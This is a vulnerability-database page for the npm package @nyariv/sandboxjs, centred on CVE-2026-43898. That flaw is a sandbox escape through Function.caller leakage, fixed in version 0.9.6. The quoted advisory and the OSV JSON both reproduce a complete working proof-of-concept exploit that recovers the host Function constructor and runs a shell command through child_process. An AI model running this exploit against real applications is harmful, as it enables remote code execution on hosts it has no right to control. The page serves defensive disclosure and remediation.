Vulnerabilities in pkg:npm/@nyariv/sandboxjs

PACKAGE
Advisory Identifier: GHSA-g8f2-4f4f-5jqw
Advisory Summary

CVE-2026-43898 is a CRITICAL (CVSS 10.0) sandboxjs has a sandbox escape vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves sandboxjs has a sandbox escape via function.caller leakage of internal call op. Remediation is available by upgrading affected packages to version 0.9.6.

14 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@nyariv/sandboxjs

14 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@nyariv/sandboxjs. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-g8f2-4f4f-5jqw CVE-2026-43898 CRITICAL SandboxJS has a sandbox escape via Function.caller leakage of internal call op
GHSA-hg73-4w7g-q96w CVE-2026-34217 MODERATE SandboxJS: Sandbox Escape via Prop Object Leak in New Handler
GHSA-8pfc-jjgw-6g26 CVE-2026-34211 MODERATE SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser
GHSA-2gg9-6p7w-6cpj CVE-2026-34208 CRITICAL SandboxJS: Sandbox integrity escape
GHSA-7p5m-xrh7-769r CVE-2026-32723 MODERATE SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers
GHSA-6r9f-759j-hjgv CVE-2026-26954 CRITICAL SandboxJS affected by a Sandbox Escape
GHSA-ww7g-4gwx-m7wj CVE-2026-25881 CRITICAL @nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)
GHSA-7x3h-rm86-3342 CVE-2026-25641 CRITICAL @nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
GHSA-66h4-qj4x-38xp CVE-2026-25587 CRITICAL @nyariv/sandboxjs has a Sandbox Escape vulnerability
GHSA-jjpw-65fv-8g48 CVE-2026-25586 CRITICAL @nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
GHSA-58jh-xv4v-pcx4 CVE-2026-25520 CRITICAL @nyariv/sandboxjs has a Sandbox Escape issue
GHSA-9p4w-fq8m-2hp7 CVE-2026-25142 CRITICAL SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
GHSA-wxhw-j4hc-fmq6 CVE-2026-23830 CRITICAL SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor
GHSA-9qm3-6qrr-c76m CVE-2025-34146 HIGH @nyariv/sandboxjs has Prototype Pollution vulnerability that may lead to RCE

CVE-2026-43898 at a Glance

CVE Identifier CVE-2026-43898
GHSA Identifier GHSA-g8f2-4f4f-5jqw
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product @nyariv/sandboxjs
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-43898

To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nyariv/sandboxjs fixed: 0.9.6
npm install @nyariv/sandboxjs@0.9.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nyariv/sandboxjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-43898, inspect your project dependencies using npm:

npm ls @nyariv/sandboxjs

Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.6), your application is affected.

Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Sandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript. ### Details The vulnerability is in the property access logic registered via `addOps` in [prop.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/prop.ts#L10). Sandboxed code could access the `caller`, `callee`, and `arguments` properties on functions. In the CommonJS build, this allowed sandboxed code to read `Function.caller` and leak a privileged internal `LispType.Call` callback. In [executorUtils.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/executorUtils.ts#L239-L282) `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe: ```js function f(){ return f.caller } ``` That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The escape was possible because the `LispType.Call` handler accepts a **params** object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands ### PoC ```js const sandb = require('@nyariv/sandboxjs').default; const sand = new sandb(); const payload = ` const callOp = (function fn() { return fn.caller; })(); function makeContext(capture = () => {}) { return { ctx: { options: 0 }, evals: { get: capture } }; } function leakStatic(obj, prop) { let leaked; callOp({ done() {}, a() {}, b: [], obj: { context: obj, prop, get() {} }, context: makeContext((fn) => (leaked = fn, () => 1)) }); return leaked; } function callDirect(fn, args) { let value; callOp({ done(_, result) { value = result; }, a() {}, b: args, obj: fn, context: makeContext() }); return value; } callDirect(leakStatic(Object, 'defineProperty'), [ leakStatic, 'call', callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [ callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]), 'constructor' ]) ]); let hostFn; callOp({ done(_, result) { hostFn = result; }, a: leakStatic, b: [], obj: { context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()', get() {} }, context: makeContext() }); return hostFn(); `; console.log(sand.compile(payload)().run()); ``` ### Impact _Sandbox escape leads to RCE_

CVE-2026-43898 Affected @nyariv/sandboxjs Versions

1 component(s)
Fixed Versions:
0.9.6
Product / Package Ecosystem Affected Versions Fixed Version
@nyariv/sandboxjs
npm
< 0.9.6
0.9.6

References

Frequently Asked Questions

What is CVE-2026-43898?
CVE-2026-43898 is a security vulnerability in @nyariv/sandboxjs involving SandboxJS has a sandbox escape via Function.caller leakage of internal call op under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which @nyariv/sandboxjs versions are affected?
Affected versions include releases prior to 0.9.6 across affected packages: @nyariv/sandboxjs.
What version fixes CVE-2026-43898?
Upgrading to 0.9.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nyariv/sandboxjs affected?
Yes, @nyariv/sandboxjs is affected in releases prior to 0.9.6. Upgrade your dependency to 0.9.6 or later.
What is the CVSS score of CVE-2026-43898?
CVE-2026-43898 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-43898?
CVE-2026-43898 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-43898?
Run the dependency tree command: 'npm ls @nyariv/sandboxjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g8f2-4f4f-5jqw",
  "modified" : "2026-06-09T02:00:59Z",
  "published" : "2026-05-11T19:40:00Z",
  "aliases" : [ "CVE-2026-43898" ],
  "summary" : "SandboxJS has a sandbox escape via Function.caller leakage of internal call op",
  "details" : "### Summary\nSandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.\n### Details\n\nThe vulnerability is in the property access logic registered via `addOps` in [prop.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/prop.ts#L10). Sandboxed code could access the `caller`, `callee`, and `arguments` properties on functions. In the CommonJS build, this allowed sandboxed code to read `Function.caller` and leak a privileged internal `LispType.Call` callback.\n\nIn [executorUtils.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/executorUtils.ts#L239-L282) `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:\n```js\nfunction f(){ return f.caller }\n```\nThat leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The escape was possible because the `LispType.Call` handler accepts a **params** object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands\n\n### PoC\n```js\nconst sandb = require('@nyariv/sandboxjs').default;\nconst sand = new sandb(); \n\nconst payload = `\nconst callOp = (function fn() { return fn.caller; })();\n\nfunction makeContext(capture = () => {}) {\n  return { ctx: { options: 0 }, evals: { get: capture } };\n}\n\nfunction leakStatic(obj, prop) {\n  let leaked;\n  callOp({\n    done() {},\n    a() {},\n    b: [],\n    obj: { context: obj, prop, get() {} },\n    context: makeContext((fn) => (leaked = fn, () => 1))\n  });\n  return leaked;\n}\n\nfunction callDirect(fn, args) {\n  let value;\n  callOp({\n    done(_, result) { value = result; },\n    a() {},\n    b: args,\n    obj: fn,\n    context: makeContext()\n  });\n  return value;\n}\n\ncallDirect(leakStatic(Object, 'defineProperty'), [\n  leakStatic,\n  'call',\n  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [\n    callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),\n    'constructor'\n  ])\n]);\n\nlet hostFn;\ncallOp({\n  done(_, result) { hostFn = result; },\n  a: leakStatic,\n  b: [],\n  obj: {\n    context: 'return process.getBuiltinModule(\"child_process\").execSync(\"whoami\").toString()',\n    get() {}\n  },\n  context: makeContext()\n});\n\nreturn hostFn();\n`;\n\nconsole.log(sand.compile(payload)().run());\n```\n### Impact\n_Sandbox escape leads to RCE_",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-g8f2-4f4f-5jqw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43898"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/826865251232611ec94078bab5a18ec875dad4a5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T19:40:00Z",
    "nvd_published_at" : "2026-05-28T18:16:32Z"
  }
}